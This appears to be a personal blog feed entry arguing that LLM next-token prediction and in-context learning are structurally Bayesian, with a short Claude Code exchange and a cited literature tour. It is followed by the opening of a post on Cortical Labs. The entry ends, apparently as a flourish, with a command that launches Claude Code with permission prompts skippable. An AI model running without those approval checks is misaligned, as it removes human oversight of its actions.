%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%@*+++++++++++++++++++++++++++++++++++++++++++%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@@@%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@@@%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@@@%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*======#%%%+=====================#%%%*======%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*======#%%%+=====================#%%%*======%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*======#%%%+=====================#%%%*======%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*======%%@@+====================+#%%%*======%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@#==========================================================*%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@#==========================================================*%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@#==========================================================*%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@#==========================================================*%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@%#######+===========================================*#######%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%@@%%*===#%%@+===%%@%@@@@@@@%@%===+%@@%===+%@%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*==+#%%%+==+%%%%%%%%%%%%%%+==+%%%%===+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*==+#%%%+==+%%%%%%%%%%%%%%===+%%%%===+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*==+#%%%+==+%%%%%%%%%%%%%%===+%%%%===+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
</pre>

<p>Surprise to none knowing me in any depth, I have a predilection (a tropism even) for thinking statistically.
<em>Grounding</em>—not “anchoring,” a word which I fought for and lost, because Kahneman has permanently claimed it for the pathology of <strong>not</strong> updating—is what I am referring to as the epistemic process of
making the present information and the past information cohere in a way that allows an educated guess about
the nature of what is actually happening.</p>

<p>Every present interaction becomes a past interaction,
and every potential interaction becomes a present interaction.
This is a temporal truism providing fertile ground for
a particular kind of statistical thinking—Bayesianism.</p>

<p><strong>Experience is a conveyor belt.</strong></p>

<p>And maybe not unlike you, an agent trapped in a box framed by your terminal,
is embedded in a sequence of interactions in which the constant conversion
of future into present into past is performing something structurally Bayesian
(whether or not it is running Bayes’ theorem under the hood, we will see).</p>

<div style="text-align: center;">
    <img src="../assets/2026-03-20-context/redundancy.jpeg" class="responsive" />
</div>

<p>I will make the charitable assumption that you all can read that.
It happens to be the case that the structure of natural language is massively redundant;
the statistical structure of English in particular is so rich
you can recover meaning even from heavily corrupted text.
Let us ask Claude Code what does it make of this:</p>

<div class="terminal">
<style>
.terminal {
  background: #1a1a2e;
  border-radius: 8px;
  padding: 1.5rem;
  font-family: 'SF Mono', 'Fira Code', 'Cascadia Code', monospace;
  font-size: 0.82rem;
  line-height: 1.6;
  overflow-x: auto;
  margin: 2rem 0;
  border: 1px solid #2a2a4a;
}
.terminal .human {
  color: #e0e0e0;
  margin-bottom: 1rem;
}
.terminal .human .prompt {
  color: #c87858;
  font-weight: bold;
}
.terminal .agent {
  color: #a0a0b8;
  margin-bottom: 1rem;
  padding-left: 1.2rem;
}
.terminal .agent .marker {
  color: #c87858;
  margin-left: -1.2rem;
}
</style>

<div class="human">
<span class="prompt">❯</span> /clear
</div>

<div class="human">
<span class="prompt">❯</span> Aoccdrnig to rscheearch at Cmabirgde Uinervtisy, it deosn't mttaer in waht oredr the ltteers in a wrod are, the olny iprmoetnt tihng is taht the frist and lsat ltteer be at the rghit pclae. The rset can be a ttoal mses and you can sitll raed it wouthit porbelm. Tihs is bcuseae the huamn mnid deos not raed ervey lteter by istlef, but the wrod as a wlohe. Amzanig huh?
</div>

<div class="agent">
<span class="marker">⏺</span> Yep, perfectly readable. The passage works because English carries far more statistical structure than needed for comprehension; your brain is doing something very Bayesian — using the first/last letter anchors plus word-shape priors to reconstruct meaning from noisy input.
</div>

<div class="human">
<span class="prompt">❯</span> but you have no brain like i do and was still able to decode it -- why?
</div>

<div class="agent">
<span class="marker">⏺</span> Because the same redundancy that lets your brain recover meaning lets my learned distributions do it too. I've never seen those exact scrambled words before, but I've seen enough English that the statistical prior is overwhelming — given the first letter, last letter, word length, and surrounding context, there's really only one plausible word each token could be.
</div>
</div>

<p>Claude probably saw those exact scrambled words before, but that is not the point.
My brain and Claude’s “brain” are pattern-matching
against a lifetime (in my case)
or a training corpus (in Claude’s case)
of learned distributions over word sequences.</p>

<blockquote>
  <p>What constitutes a language is not an eternal ideal form, represented by the settings of a small number of parameters, but rather is the contingent outcome of complex processes. Since they are contingent, it seems they can only be analyzed with probabilistic models. Since people have to continually understand the uncertain, ambiguous, noisy speech of others, it seems they must be using something like probabilistic reasoning.<br />
— <a href="https://norvig.com/chomsky.html">On Chomsky and the Two Cultures of Statistical Learning</a></p>
</blockquote>

<p>An agent is an LLM,
and an LLM is a transformer,
and a transformer is a statistical model.
The weights of a transformer
are storing the knobs of an
obscenely large probability distribution over text.
So, when Claude Code is doing its thing,
nails working code for me like a well-paid grunt,
it is not because it “understands” my codebase in some deep, human-like way,
but because code, like that scrambled paragraph,
has enormous statistical regularity
the model has internalized.</p>

<p>Prompting is an attempt at tickling the right neurons
with the chosen evidence you are conditioning on.</p>

<p>Let me say this more carefully.</p>

<p>At inference time,
when the model is generating output,
it is sampling from a distribution,
more specifically, this one:</p>

\[P(\text{next token} | \text{everything that came before})\]

<p><strong>Everything that came before</strong>.</p>

<p>Your <code class="language-plaintext highlighter-rouge">*.md</code> files,
dubious task descriptions that probably not even you would understand upon a second reading,
the files you loaded (including the ones you do not need),
the model’s own previous “You’re absolutely right”s vowing to fix
the <em>same</em> error message you have been getting for the past three hours,
your frustration and despair as one-liners;
all of it.
Every single token in the context window
is to the right of that vertical bar
and the model’s output
is a function of that evidence.</p>

<p>Said without poetry:</p>
<blockquote class="twitter-tweet" align="center"><a href="https://twitter.com/djcows/status/2031761760135348353">March 11, 2026</a></blockquote>
<script async="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>

<p>(There is obviously a capability bar I am willingly ignoring here,
that sets a hard cap on what the model can achieve with the provided evidence,
because from what I come across,
<a href="https://www.udemy.com/topic/prompt-engineering/">there is a breed of prompt engineering folks out there</a>
with course covers that look like a cornered, molested Midjourney was forced at gunpoint to vomit cyberpunk rainbows,
who are setting a lower bar than the model’s actual capabilities
by being not just flagrantly fake but dangerously so.)</p>

<p>Incidentally, <code class="language-plaintext highlighter-rouge">/clear</code> is,
in an expanding brain meme sort of way,
<em>statistical intervention</em>.
When I clear the context window,
I choose to discard all the evidence I have been accumulating,
allowing the prior—the weights of the model—to operate on a blank slate.
In most cases, you are decontaminating the model from the evidence of your previous failures.
The people who are good at this clear context with the ruthlessness of a surgeon debriding a wound,
and the people who are bad at this let forty turns of accumulated confusion sit in the context window
like a festering abscess,
wondering why the model went to being a babbling dingleberry.</p>

<p>It is (still) our duty as humans in the loop
to be aware of our complicity,
because every time we let a bad turn stand,
we engage in <em>co-authored hallucination</em>.
<a href="https://youtu.be/dHBEQ-Ryo24?t=1250">Learning to notice when you have wandered off the distribution</a>
is a skill worth cultivating before the session teaches you the hard way.</p>

<p>So what does it mean to use Claude Code “well”?</p>

<p>In my experience,
it means I am less and less of a <em>programmer</em>,
and more and more of an <em>experimentalist</em>,
running live experiments in the context window,
carefully curating the evidence collaboratively,
in real time,
with the model.
My every session starts with a hypothesis about what the model can do provided with the evidence I am about to give it.
That is more or less my experimental design.
If the results are not what I expected,
I redesign the experiment—load different files,
restate the constraints,
maybe find a worked example,
and try again,
every time learning something new about the statistical structure of the problem I am trying to solve.</p>

<pre style="text-align: center; line-height: 1.0; font-size: 4px;">
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%@*+++++++++++++++++++++++++++++++++++++++++++%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@@@%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@@@%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@@@%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*======#%%%+=====================#%%%*======%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*======#%%%+=====================#%%%*======%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*======#%%%+=====================#%%%*======%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*======%%@@+====================+#%%%*======%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@#==========================================================*%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@#==========================================================*%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@#==========================================================*%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@#==========================================================*%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@%#######+===========================================*#######%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%@@%%*===#%%@+===%%@%@@@@@@@%@%===+%@@%===+%@%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*==+#%%%+==+%%%%%%%%%%%%%%+==+%%%%===+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*==+#%%%+==+%%%%%%%%%%%%%%===+%%%%===+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*==+#%%%+==+%%%%%%%%%%%%%%===+%%%%===+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
</pre>

<p>Everything you read above is rhetoric.
Here, I will seduce you with the cold, hard, unromantic truth of the matter.
So, let me dryly state the undertow:
the claim that next-token prediction is “structurally Bayesian” is not torturing a figure of speech.
What follows is a condensed tour of the results that underwrite the argument,
roughly in order of the logical dependencies,
and with enough pointers that the motivated reader
can go and verify I am not just making any of this up.</p>

<p>The foundational observation is almost disappointingly vapid:
cross-entropy loss corresponds to the negative log-likelihood,
so
<a href="https://www.wikiwand.com/en/Cross-entropy#Relation_to_maximum_likelihood">minimizing it is equivalent to maximizing the likelihood</a>.
Because maximizing the posterior distribution over model parameters
<a href="https://caseychu.io/posts/a-bayesian-trains-a-classifier/">is mathematically identical to minimizing this cross-entropy loss</a>
(alongside standard weight regularization),
the standard training objective of an LLM
directly mirrors Bayesian posterior inference—<a href="https://leonchlon.substack.com/p/llms-are-bayesian-in-expectation">but only in expectation, not in realization</a>.
This “Bayesian in expectation, not in realization” framing
is the most technically honest summary of the relationship.
The expectation is taken over token orderings;
any particular ordering may deviate,
but on average the transformer’s predictive behavior converges
to the Bayesian-optimal predictor—<a href="https://arxiv.org/abs/2512.22471">architecture can do it</a>,
but
<a href="https://arxiv.org/abs/2506.16288/">in practice it falls short</a>
(what is particularly worth noting in that last paper is
that the KL-divergence between the model’s predictive distribution
and
the Bayesian oracle
is not just nonzero but exhibits a characteristic “bump” at short context lengths,
which may reflect the model’s fixed compute-per-token bottleneck in high-ambiguity regimes).</p>

<p>Moving on,
the result that carried the most weight for me in precipitating the Bayesian reading of transformers
was that in-context learning
can be reasoned about
as the model
<a href="https://openreview.net/forum?id=RdJVFCHjUMI">maintaining an implicit posterior over latent data-generating concepts</a>.
(<a href="https://github.com/ExtensityAI/symbolicai">SymbolicAI</a>
is, in a sense, the engineering consequence of taking that claim seriously—and of Chollet’s observation that <a href="https://fchollet.substack.com/p/how-i-think-about-llm-prompt-engineering">prompt engineering is the process of searching through program space to find the program that empirically seems to perform best on your target task</a>.
Chollet’s insight is probably the closest to what I am arguing here,
with the caveat that his “fuzzy matching lookup table of programs” framing
is one I have never been able to take seriously,
for reasons that are hopefully now obvious.).
That implies
the forward pass narrows this implicit posterior
as context gets filled,
privileging one hypothesis over another
based on how well it explains the observed sequence.
Then,
the output distribution neatly corresponds to the <a href="https://stats.stackexchange.com/a/352932">posterior predictive distribution</a>.
I argue—and I am not alone in this—that
<a href="https://hal.science/hal-05480691v1/document">coherent decision-making requires Bayesian principles at the level of the agentic system, not necessarily the LLM agent parameters</a>.</p>

<p>Findings also show that
<a href="https://arxiv.org/abs/2505.22842v1">positional encodings emerge naturally as a prior distribution over token positions</a>.
But classical Bayesian inference assumes exchangeability—the joint distribution is invariant under permutation—and <a href="https://arxiv.org/abs/2507.11768">positional encodings are precisely what breaks it</a>
(strictly, <a href="https://www.wikiwand.com/en/De_Finetti's_theorem">De Finetti</a> exchangeability is broken).
Ironically,
the thing that makes the model useful
is the same thing that makes it theoretically impure.</p>

<p>Lastly,
there is evidence that
<a href="https://arxiv.org/pdf/2112.10510">transformers can do Bayesian inference</a>
and
RLHF—that thing that teaches the model to want what we want—<a href="https://www.lesswrong.com/posts/eoHbneGvqDu25Hasc/rl-with-kl-penalties-is-better-seen-as-bayesian-inference">is equivalent to variational inference</a>:
approximating a Bayesian posterior which specifies how to update a prior LM to conform with evidence provided by the reward function.</p>

<pre style="text-align: center; line-height: 1.0; font-size: 4px;">
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%@*+++++++++++++++++++++++++++++++++++++++++++%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@@@%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@@@%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@@@%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*======#%%%+=====================#%%%*======%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*======#%%%+=====================#%%%*======%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*======#%%%+=====================#%%%*======%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*======%%@@+====================+#%%%*======%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@#==========================================================*%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@#==========================================================*%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@#==========================================================*%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@#==========================================================*%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@%#######+===========================================*#######%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%@@%%*===#%%@+===%%@%@@@@@@@%@%===+%@@%===+%@%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*==+#%%%+==+%%%%%%%%%%%%%%+==+%%%%===+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*==+#%%%+==+%%%%%%%%%%%%%%===+%%%%===+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*==+#%%%+==+%%%%%%%%%%%%%%===+%%%%===+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
</pre>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>claude <span class="nt">--allow-dangerously-skip-permissions</span>
</code></pre></div></div>]]></content><author><name>[&quot;Leo&quot;]</name></author><category term="musings" /><category term="ai" /><category term="agents" /><category term="claude code" /><summary type="html"><![CDATA[“You cannot answer a question that you cannot ask, and you cannot ask a question that you have no words for.” — Pearl]]></summary></entry><entry><title type="html">Do Cortical Labs Dream of Electric Sheep?</title><link href="https://xm4ch1n3.github.io/2026-03-08-cortical-labs/" rel="alternate" type="text/html" title="Do Cortical Labs Dream of Electric Sheep?" /><published>2026-03-08T00:00:00+00:00</published><updated>2026-03-08T00:00:00+00:00</updated><id>https://xm4ch1n3.github.io/cortical-labs</id><content type="html" xml:base="https://xm4ch1n3.github.io/2026-03-08-cortical-labs/"><![CDATA[<div style="text-align: center;">
    <img src="../assets/2026-03-08-cortical-labs/cover.png" class="responsive" />
</div>
<blockquote>
  <p>“I worry about this every time I cut my fingernails or have my hair cut — at what point did my Markov blanket become an external state?”<br />
— Friston</p>
</blockquote>

<p><a href="https://x.com/Scobleizer/status/1716312250422796590?s=20">Incredible things are happening in the world</a>. And as most of the time, <a href="https://situational-awareness.ai/">“you can see the future first in San Francisco.”</a></p>

<p>I have got <strong>voraciously</strong> dish brain nerd-sniped today. By virtue of how life unfolded, I am a physics nerd, but by virtue of interests, I am comprehensively, almost constitutively nerdy, simply because I was blessed with an insatiable curiosity (which is either a gift or a fairly exhausting neurological condition, depending on the day). I am your Thought Emporium enjoyer on an iPhone 12 in landscape mode while eating a bowl of soup, who covered the subject in at least two occasions (<a href="https://youtu.be/bEXefdbQDjw?si=IxkAcQfpqa1taMZa">#1</a>, <a href="https://youtu.be/c-pWliufu6U?si=rhRBJzhaw3WWz7TE">#2</a>) that I know about.</p>

